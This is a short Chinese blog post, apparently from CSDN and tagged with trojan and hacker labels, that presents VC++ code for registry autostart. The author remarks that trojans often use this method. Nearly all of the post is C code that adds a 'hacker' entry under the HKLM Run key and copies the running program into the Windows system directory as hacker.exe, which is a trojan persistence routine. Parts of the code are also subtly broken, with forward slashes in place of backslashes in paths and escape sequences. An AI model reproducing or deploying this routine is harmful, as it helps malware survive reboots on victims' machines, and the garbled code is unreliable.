VC++实现注册表自启动

最新推荐文章于 2022-10-18 01:55:01 发布

My_Jackbase

最新推荐文章于 2022-10-18 01:55:01 发布

阅读量689

点赞数

分类专栏：学习兴趣文章标签： vc++ 木马 hacker 注册表

本文链接：https://blog.csdn.net/my_jackbase/article/details/12145167

版权

学习兴趣专栏收录该内容

4 篇文章 0 订阅

订阅专栏

这种情况，木马用的比较多。。。

#include <stdio.h>
#include <windows.h>

int main(void)
{
	char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";
	HKEY hkResult;

	int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
	
	ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/
		,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%//hacker.exe",25);
	if(ret==0)
	{
		printf("success to write run key/n");
		RegCloseKey(hkResult);
	}
	else 
	{
		printf("failed to open regedit.%d/n",ret);
		return 0;
	}

	char modlepath[256];
	char syspath[256];

	GetModuleFileName(0,modlepath,256);//取得程序名字
	GetSystemDirectory(syspath,256);
	ret=CopyFile(modlepath,strcat(syspath,"//hacker.exe"),1);
	if(ret)
	{
		printf("%s has been copyed to sys dir %s/n",modlepath,syspath);
	}
	else 
		printf("%s is exisis",modlepath);
	return 0;
}